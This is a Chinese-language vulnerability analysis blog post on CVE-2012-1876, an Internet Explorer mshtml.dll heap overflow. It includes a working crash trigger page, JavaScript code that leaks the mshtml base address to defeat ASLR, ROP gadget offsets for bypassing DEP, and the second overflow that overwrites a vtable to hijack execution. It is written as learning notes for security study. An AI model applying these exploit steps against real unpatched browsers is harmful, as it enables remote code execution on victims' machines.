• CVE-2012-1876:MSHTML_DLL_CTableLayout_CalculateMinMax堆溢出漏洞

    日期:2013-06-15 | 分类:软件漏洞

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/riusksk-logs/234514384.html

    CVE-2012-1876:MSHTML_DLL_CTableLayout_CalculateMinMax堆溢出漏洞

     

    by riusksk

    日期:2012-8-5

     

    近来工作上主要以WEB安全为主,软件安全学习停滞过久,怕生疏掉了,因此找些漏洞分析文章及Exploit学习下。

    关于最近比较火的cve-2012-1876,也就是Pwn2Own 2012 黑客大赛上被利用的IE漏洞,我根据现有的分析文章及exploit简单记录下。

     

     

    一、测试代码

     

     <html>

     <body>

     <table style="table-layout:fixed" >

            <col id="132" width="41" span="1" >&nbsp </col>

     </table>

     <script>

     

     function over_trigger() {

            var obj_col = document.getElementById("132");

            obj_col.width = "42765";

            obj_col.span = 1000;

     }

     

     setTimeout("over_trigger();",1);

     

     </script>

     </body>

     </html>

     

     

    二、漏洞成因

     

    CTableLayout::CalculateMinMax函数的原型为:

     

    void __thiscall CTableLayout::CalculateMinMax(

    CTableLayout* theTableLayoutObj,

    LPVOID lpUnknownStackBuffer ) 

     

    各变量意义:

     

    theTableLayoutObj:table标签对象地址

    TableElementArray = theTableLayoutObj + 0x84 :<table>标签元素数组地址,即col元素

    SpanSum = theTableLayoutObj + 0x54 :span属性和

    SpanSum2 = theTableLayoutObj + 0x94 :用于跟SpanSum比较

    theTableColObj:col标签对象地址

    theTableColAttrArray = theTableColObj + 0xC :col属性数组地址

    theTableColAttrInfoBuffer = theTableColAttrArray + 0xC :用于保存col元素属性值的缓冲区

     

    1、当页面加载时,CTableLayout::CalculateMinMax首次被调用,<col>的span属性值被初始化为1,此时SpanSum=1,SpanSum2=0。

    2、由于(SpanSum2 << 2) < SpanSum,因此会调用CImplAry::EnsureSizeWorker函数分配大小为 0x1C * SpanSum 的内存,但至少分配 0x1C * 4 = 0x70 大小的内存块。

    3、分配内存后,SpanSum2 = SpanSum * 4 = 4,此时(SpanSum2 << 2) == SpanSum,因此不再分配内存。

    4、调用over_trigger,CTableLayout::CalculateMinMax第二次被调用,但SpanSum和SpanSum2未变,而span被更改为1000,由于span值作为复制width到分配缓冲区的循环计数器,1000 * 0x1C > 0x70,最终导致堆溢出。

     

    三、漏洞利用

     

    此次VUPEN是利用内存泄露获取mshtml.dll基址来绕过ASLR,再结合ROP绕过DEP。VUPEN利用mshtml!CButtonLayout对象的虚函数表来获取IE9下的mshtml.dll基址,因为它在各版本DLL中的偏移量是一致的。

     

    1、构造堆内存布局:

     

    实际分配0x100-6,但出于8字节对齐,因此会分配0x100,其中包括字符串头的长度值

    【EEE...(释放,0x100大小)】【AAA...(0x0x100大小)】【BBB...(0x0x100大小)】【mshtml!CButtonLayout对象(0x0x100大小)】【EEE...】……

     

    2、首次溢出,覆盖字符串长度值:

     

    <table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>

    ……

    var obj_col = document.getElementById("132");

    obj_col.span = 19;

     

    覆盖内容:41 * 100 = 0x1004

    覆盖大小:19 * 0x1C = 0x214

     

    此时代表字符串长度的首个DWORD字节被覆盖为 04 10 00 00,当利用JavaScript代码读取时,就可读取0x1004字节,自然也包括mshtml!CButtonLayout的虚表地址。

     

    3、获取虚表地址

     

    由于上面字符串头已经被覆盖为0x1004 > 0x100-6,通过比对各字符串长度,即可找到被覆盖的字符串,而CButtonLayout对象虚表地址保存位置相对字符串起始处的偏移量固定为(0x100-6)/2+(2+8)/2,其中2字节用于对齐,8字节为堆指针,再通过数据类型转换获取CButtonLayout对象虚表地址,该虚表地址再偏移0x1582b8(IE8)即为mshtml.dll基址。

     

        for ( var i = 0; i < 500; i++ ) {

            if ( arr[i].length > (0x100-6)/2 ) { // overflowed

       leak_index = i;

                var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);

                leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );

    mshtmlbase = leak_addr - Number(0x001582b8);

       alert(mshtmlbase);

                break;

            }

        }

     

    4、堆喷射,将rop + shellcode 喷射到可预测的地址,其中ROP指令可通过msvcrt或者jre来构造,其指令地址均通过mshtml基址来偏移获取。

     

    mshtmlbase + Number(0x00001031),

    mshtmlbase + Number(0x00002c78),    // pop ebp; retn

    mshtmlbase + Number(0x0001b4e3),    // xchg eax,esp; retn (pivot)

    ……

    mshtmlbase + Number(0x00352c9f),    // pop eax; retn

    0x90909090,          // nop

    mshtmlbase + Number(0x0052e805),    // pushad; retn

     

    5、二次溢出,覆盖虚表地址,控制程序执行流程:

     

    var obj_col_0 = document.getElementById("132");

    obj_col_0.width = "1178993";

    obj_col_0.span = "44";

     

    覆盖内容:1178993 * 100 = 0x07070024

    覆盖大小:44 * 0x1C = 0x4D0 

     

    最终用0x07070024覆盖到CButtonLayout的虚表,从而执行到0x07070024。

     

     

    四、参考资料:

     

    1、K_K :《CVE-2012-1876 MSHTML.DLL堆溢出漏洞分析》

    2、VUPEN :《Advanced Exploitation of Internet Explorer Heap Overflow》

    3、Metasploit Exploit:https://github.com/rapid7/metasploit-framework/blob/7a0b5a6169948d8a1aab359cf6b8b3577ba7cfd3/modules/exploits/windows/browser/ms12_037_ie_colspan.rb

    分享到: